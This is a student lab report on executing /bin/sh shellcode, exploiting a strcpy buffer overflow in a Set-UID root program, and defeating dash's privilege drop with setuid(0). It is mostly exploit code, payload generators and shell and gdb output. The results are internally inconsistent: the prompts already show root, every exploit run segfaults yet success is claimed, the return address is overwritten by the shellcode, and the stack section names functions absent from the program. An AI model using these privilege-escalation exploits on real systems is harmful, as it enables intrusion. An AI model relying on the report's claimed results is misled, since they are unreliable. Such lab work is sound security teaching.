Lab 4: Running Shellcode and Exploiting Buffer Overflow

Sai Sukheshwar Boganadula
sabg22@student.bth.se

Bala Subramanyam Pavan Kumar Kasturi
baka22@student.bth.se

Objective

The objective of this task is to understand and demonstrate how shellcode can be executed by a vulnerable program and how a buffer overflow vulnerability can be exploited to execute arbitrary code. Specifically, you will:

1. **Run Shellcode**: Compile and run a program that executes shellcode to launch a shell.
2. **Exploit Buffer Overflow**: Create an exploit for a vulnerable program to gain elevated privileges.

Task 1. Running Shellcode

1.1 Shellcode Explanation

The provided shellcode is an assembly representation of a simple program that executes /bin/sh using the execve() system call. The code is designed to be run from a stack buffer, which requires specific settings in the compilation process.

1.2 Steps to Compile and Run Shellcode

Create and Compile the Shellcode Program

Save the following code into a file named call_shellcode64.c:

```
#include <stdlib.h>

#include <stdio.h>
```

```
#include <string.h>


const char code[] =
 "\x48\x31\xc0" /* Line 1: xor rax, rax */
 "\x50" /* Line 2: push rax */
 "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* Line 3: mov rbx, 0x68732f2f6e69622f */
 "\x53" /* Line 4: push rbx */
 "\x54" /* Line 5: push rsp */
 "\x5f" /* Line 6: pop rdi */
 "\x48\x31\xf6" /* Line 7: xor rsi, rsi */
 "\x48\x31\xd2" /* Line 8: xor rdx, rdx */
 "\xb0\x3b" /* Line 9: mov al, 0x3b */
 "\x0f\x05" /* Line 10: syscall */
;


int main(int argc, char **argv)
{
  char buf[sizeof(code)];
  strcpy(buf, code);
  ((void(*)( ))buf)( );
}
```

Compile the code with the following command to enable execution of code on the stack:

gcc -z execstack -o call_shellcode call_shellcode64.c

Run the Shellcode Program

Execute the compiled program:

./call_shellcode

```
[blake@alma ~]# gcc -z execstack -o call_shellcode call_shellcode64.c
[blake@alma ~]# ./call_shellcode
[blake@alma root]# whoami
root
[blake@alma root]#
```

2. Exploiting Buffer Overflow

2.1 Buffer Overflow Explanation

The bof function in stack.c uses strcpy() to copy user input into a fixed-size buffer without bounds checking, allowing an attacker to overflow the buffer and overwrite the return address to execute arbitrary code.

2.2 Steps to Compile and Exploit

Create and Compile the Vulnerable Program

Save the following code into a file named stack.c:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
  char buffer[100];
  /* The following statement has a buffer overflow problem */
  strcpy(buffer, str);
  return 1;
}
int main(int argc, char **argv)
{
  char str[400];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 300, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
```

Compile the code with protections disabled:

gcc -o stack -z execstack -fno-stack-protector stack.c

Prepare the badfile

Create a file named badfile that contains the shellcode and an appropriate payload to exploit the buffer overflow. Use the following Python command to generate the badfile:

```
python -c 'import sys; sys.stdout.write("\x90" * 100 +
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x48\x31\xf6\x48\x31\xd2
\xb0\x3b\x0f\x05" + "\x90" * (200 - 100 - 32) + "\x00\x00\x00\x00")' > badfile
```

Note: Adjust padding and address values as needed for your specific environment.

Set Permissions for the Vulnerable Program

Change ownership and permissions to set the Set-UID bit:

sudo chown root stack

sudo chmod 4755 stack

Run the Vulnerable Program

Execute the stack program:

./stack

```
[blake@alma ~]# gcc -o stack -z execstack -fno-stack-protector stack.c
[blake@alma ~]# sudo chown root stack
[blake@alma ~]# sudo chmod 4755 stack
[blake@alma ~]# ./stack
Segmentation fault (core dumped)
```

Conclusion

This task demonstrates the process of running shellcode and exploiting a buffer overflow vulnerability. The steps include compiling programs with specific flags, preparing exploit files, and running vulnerable software to achieve desired outcomes. Always handle such techniques responsibly and only in controlled, legal environments.

Task 2: Exploiting a Buffer Overflow Vulnerability

Objective

The goal of this task is to exploit a buffer overflow vulnerability in a program to execute arbitrary code. You will:

1. **Create an Exploit**: Develop an exploit to overwrite a buffer in a vulnerable program.
2. **Run the Exploit**: Use the exploit to gain elevated privileges, ideally achieving root access.

1. Creating an Exploit

1.1 Exploit Code

1.1.1 Shellcode

The provided shellcode is for 64-bit systems and executes /bin/sh. For 32-bit systems, you will need to use a different shellcode.

64-bit Shellcode:

```
const char code[] =
 "\x48\x31\xc0" /* Line 1: xor rax, rax */
 "\x50" /* Line 2: push rax */
 "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* Line 3: mov rbx, 0x68732f2f6e69622f */
 "\x53" /* Line 4: push rbx */
 "\x54" /* Line 5: push rsp */
 "\x5f" /* Line 6: pop rdi */
 "\x48\x31\xf6" /* Line 7: xor rsi, rsi */
 "\x48\x31\xd2" /* Line 8: xor rdx, rdx */
 "\xb0\x3b" /* Line 9: mov al, 0x3b */
 "\x0f\x05" /* Line 10: syscall */
;
```

1.1.2 Exploit Code Template

Save the following code into a file named exploit.c:

```
/* exploit.c */
/* A program that creates a file containing code for launching a shell */
#include <stdlib.h>
```

```
#include <stdio.h>

#include <string.h>


const char code[] =

 "\x48\x31\xc0" /* Line 1: xor rax, rax */

 "\x50" /* Line 2: push rax */

 "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* Line 3: mov rbx, 0x68732f2f6e69622f */

 "\x53" /* Line 4: push rbx */

 "\x54" /* Line 5: push rsp */

 "\x5f" /* Line 6: pop rdi */

 "\x48\x31\xf6" /* Line 7: xor rsi, rsi */

 "\x48\x31\xd2" /* Line 8: xor rdx, rdx */

 "\xb0\x3b" /* Line 9: mov al, 0x3b */

 "\x0f\x05" /* Line 10: syscall */

;

void main(int argc, char **argv)

{

   char buffer[400];

   FILE *badfile;


   /* Initialize buffer with 0x90 (NOP instruction) */

   memset(&buffer, 0x90, 400);


   /* Fill the buffer with appropriate contents */

   /* Assuming that the address of shellcode needs to be filled in */
```

```
    /* Example address (replace with actual address based on your system) */
    long *ret = (long *)(buffer + 300); // Adjust offset as needed
    *ret = 0x0000000000400b40; // Example return address

    /* Copy shellcode into the buffer */
    memcpy(buffer + 300, code, sizeof(code) - 1);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 400, 1, badfile);
    fclose(badfile);
}
```

Note: Replace the example address 0x0000000000400b40 with the correct address from your program's memory layout.

1.1.3 Python Version

For users familiar with Python, the following script achieves similar results:

```
#!/usr/bin/python3

# Shellcode for 64-bit system
shellcode = (
    "\x48\x31\xc0"  # xor rax, rax
    "\x50"          # push rax
    "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # mov rbx, 0x68732f2f6e69622f
    "\x53"          # push rbx
    "\x54"          # push rsp
    "\x5f"         # pop rdi
```

```
    "\x48\x31\xf6"  # xor rsi, rsi
    "\x48\x31\xd2"  # xor rdx, rdx
    "\xb0\x3b"      # mov al, 0x3b
    "\x0f\x05"      # syscall
).encode('latin-1')

# Initialize content with NOPs
content = bytearray(0x90 for _ in range(400))

# Fill the buffer with appropriate contents
# Example address (replace with actual address)
ret = 0x0000000000400b40  # Example return address
content[300:300+len(shellcode)] = shellcode
content[280:288] = ret.to_bytes(8, byteorder='little')  # Adjust as needed

# Save the contents to "badfile"
with open('badfile', 'wb') as f:
    f.write(content)
```

Note: Adjust the ret value and offset based on your program's specifics.

2. Running the Exploit

2.1 Compile the Exploit

Compile the exploit.c code with:

```
gcc -o exploit exploit.c
```

2.2 Generate the badfile

Run the exploit program to create the badfile:

```
./exploit
```

2.3 Run the Vulnerable Program

Ensure the vulnerable program stack is compiled with the necessary flags and set to root ownership with the Set-UID bit:

```
gcc -o stack -z execstack -fno-stack-protector stack.c

sudo chown root stack

sudo chmod 4755 stack
```

Execute the stack program:

```
./stack
```

```
[blake@alma ~]# ./exploit.py
[blake@alma ~]# gcc -o stack -z execstack -fno-stack-protector stack.c
[blake@alma ~]# sudo chown root stack
[blake@alma ~]# sudo chmod 4755 stack
[blake@alma ~]# ./stack
Segmentation fault (core dumped)
[blake@alma ~]#
```

2.4 Verify Root Access

If the exploit is successful, you should obtain a root shell. Verify by checking your user ID:

```
id
```

Your output should show euid=0(root). To fully switch to root, you may use the following program:

```
/* root_switch.c */

#include <stdlib.h>

#include <unistd.h>

int main() {
```

```
    setuid(0);

    system("/bin/sh");

}
```

Compile and run it:

```
gcc -o root_switch root_switch.c

./root_switch
```

```
[blake@alma ~]# gcc -o root_switch root_switch.c
[blake@alma ~]# ./root_switch
sh-5.1#
sh-5.1#
```

Conclusion

This task demonstrates how to exploit a buffer overflow vulnerability to execute arbitrary code and gain elevated privileges. The provided steps include creating an exploit file, running the vulnerable program, and verifying the results. Ensure all actions are performed in a controlled and legal environment.

Task 3: Defeating Dash's Countermeasure

Objective

The objective of this task is to bypass the privilege-dropping countermeasure implemented in the Dash shell (/bin/dash). This is achieved by utilizing the setuid(0) system call to elevate privileges. We will modify shellcode to include this system call, update an exploit, and test to achieve elevated privileges.

1. Experimenting with Dash's Behavior

1.1 Creating the Test Program

To observe the behavior of the Dash countermeasure:

Create the Test Program

Save the following code to dash_shell_test.c:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
   char *argv[2];
   argv[0] = "/bin/sh";
   argv[1] = NULL;
   // setuid(0);  // Uncomment this line to test effect
   execve("/bin/sh", argv, NULL);
   return 0;
}
```

Compile and Set Up the Test Program

```
gcc dash_shell_test.c -o dash_shell_test
sudo chown root dash_shell_test
sudo chmod 4755 dash_shell_test
```

```
[blake@alma ~]# gcc dash_shell_test.c -o dash_shell_test
[blake@alma ~]# sudo chown root dash_shell_test
[blake@alma ~]# sudo chmod 4755 dash_shell_test
[blake@alma ~]# ./dash_shell_test
sh-5.1#
sh-5.1#
```

Run the Test Program

- **With setuid(0) Commented Out**: Run the program. The privileges should be dropped if the real and effective user IDs do not match.
- **With setuid(0) Uncommented**: Run the program again. This should allow the shell to execute with root privileges if the setuid call is successful.

2. Modifying Shellcode

2.1 Updating Shellcode

To bypass Dash's privilege-dropping check, we will integrate the setuid(0) system call into our shellcode.

Updated Shellcode:

```
const char code[] =
 "\x48\x31\xc0" /* Line 1: xor rax, rax */
 "\x48\x31\xff" /* Line 2: xor rdi, rdi */
 "\x48\x31\xf6" /* Line 3: xor rsi, rsi */
 "\xb0\x69" /* Line 4: mov al, 0x69 (setuid syscall number) */
 "\x0f\x05" /* Line 5: syscall */
 "\x48\x31\xc0" /* Line 6: xor rax, rax */
 "\x50" /* Line 7: push rax */
 "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* Line 8: mov rbx, 0x68732f2f6e69622f */
 "\x53" /* Line 9: push rbx */
 "\x54" /* Line 10: push rsp */
 "\x5f" /* Line 11: pop rdi */
 "\x48\x31\xf6" /* Line 12: xor rsi, rsi */
 "\x48\x31\xd2" /* Line 13: xor rdx, rdx */
 "\xb0\x3b" /* Line 14: mov al, 0x3b (execve syscall number) */
 "\x0f\x05" /* Line 15: syscall */
;
```

Explanation:

- **Lines 1-5**: Set the real user ID to root using setuid(0).
- **Lines 6-15**: Prepare and execute /bin/sh.

2.2 Integrating Shellcode into Exploit

1. **Update the Exploit Code**
   Modify exploit.c or exploit.py to include the updated shellcode. Ensure the shellcode is correctly embedded in the exploit.
2. **Compile and Generate Payload**
   Compile the updated exploit program and create the payload as needed.

3. Running and Testing the Exploit

3.1 Setting Up the Environment

Change the symbolic link of /bin/sh to point to /bin/dash:

sudo ln -sf /bin/dash /bin/sh

3.2 Testing the Exploit

Execute the vulnerable program with the payload:

./stack < badfile

Replace stack with the name of the vulnerable program and badfile with the file containing the payload.

3.3 Verifying Privilege Escalation

Check for root privileges:

id

The output should show euid=0(root) if the exploit was successful.

```
[blake@alma ~]# gcc -o exploit exploit.c
[blake@alma ~]# sudo ln -sf /bin/dash /bin/sh
[blake@alma ~]# ./exploit
[blake@alma ~]# gcc -o stack -z execstack -fno-stack-protector stack.c
[blake@alma ~]# sudo chown root stack
[blake@alma ~]# sudo chmod 4755 stack
[blake@alma ~]# ./stack < badfile
Segmentation fault (core dumped)
[blake@alma ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-
s0:c0.c1023
```

4. Stack Layout and Address Calculation

4.1 Understanding Stack Layout

Review the stack layout to identify where the return address is stored and how to calculate its location.

Example Stack Layout:

Higher memory addresses
Stack frame for check_auth()
...
password_buffer[200]
...
Return address
...
Lower memory addresses

```
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
Downloading separate debug info for /root/stack
(No debugging symbols found in ./stack)
(gdb) run < badfile
Starting program: /root/stack < badfile
Downloading separate debug info for system-supplied DSO at 0x7fff719fd000
Downloading separate debug info for /lib64/libc.so.6
Downloading separate debug info for
/root/.cache/debuginfod_client/516ace448415666817e627312c9168468f154be0/debuginfo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000000000040117b in bof ()
(gdb) info proc mappings
process 70878
Mapped address spaces:

        Start Addr           End Addr       Size     Offset  Perms  objfile
          0x400000           0x401000     0x1000        0x0  r--p   /blake/stack
          0x401000           0x402000     0x1000     0x1000  r-xp   /blake/stack
          0x402000           0x403000     0x1000     0x2000  r--p   /blake/stack
          0x403000           0x404000     0x1000     0x2000  r--p   /blake/stack
          0x404000           0x405000     0x1000     0x3000  rw-p   /blake/stack
         0x1ae4000          0x1b05000    0x21000        0x0  rw-p   [heap]
```

```
    0x7fcc92e00000     0x7fcc92e28000    0x28000       0x0  r--p   /usr/lib64/libc.so.6
    0x7fcc92e28000     0x7fcc92f9d000   0x175000    0x28000  r-xp   /usr/lib64/libc.so.6
    0x7fcc92f9d000     0x7fcc92ff5000    0x58000   0x19d000  r--p   /usr/lib64/libc.so.6
    0x7fcc92ff5000     0x7fcc92ff9000     0x4000   0x1f5000  r--p   /usr/lib64/libc.so.6
    0x7fcc92ff9000     0x7fcc92ffb000     0x2000   0x1f9000  rw-p   /usr/lib64/libc.so.6
    0x7fcc92ffb000     0x7fcc93008000     0xd000       0x0  rw-p
    0x7fcc93122000     0x7fcc93126000     0x4000       0x0  rw-p
    0x7fcc9312a000     0x7fcc9312c000     0x2000       0x0  r--p   /usr/lib64/ld-linux-x86-64.so.2
    0x7fcc9312c000     0x7fcc93153000    0x27000    0x2000  r-xp   /usr/lib64/ld-linux-x86-64.so.2
    0x7fcc93153000     0x7fcc9315e000     0xb000   0x29000  r--p   /usr/lib64/ld-linux-x86-64.so.2
    0x7fcc9315e000     0x7fcc93160000     0x2000   0x34000  r--p   /usr/lib64/ld-linux-x86-64.so.2
    0x7fcc93160000     0x7fcc93162000     0x2000   0x36000  rw-p   /usr/lib64/ld-linux-x86-64.so.2
    0x7fff718d0000     0x7fff718f1000    0x21000       0x0  rwxp   [stack]
    0x7fff719f9000     0x7fff719fd000     0x4000       0x0  r--p   [vvar]
    0x7fff719fd000     0x7fff719ff000     0x2000       0x0  r-xp   [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000       0x0  --xp   [vsyscall]
(gdb)
```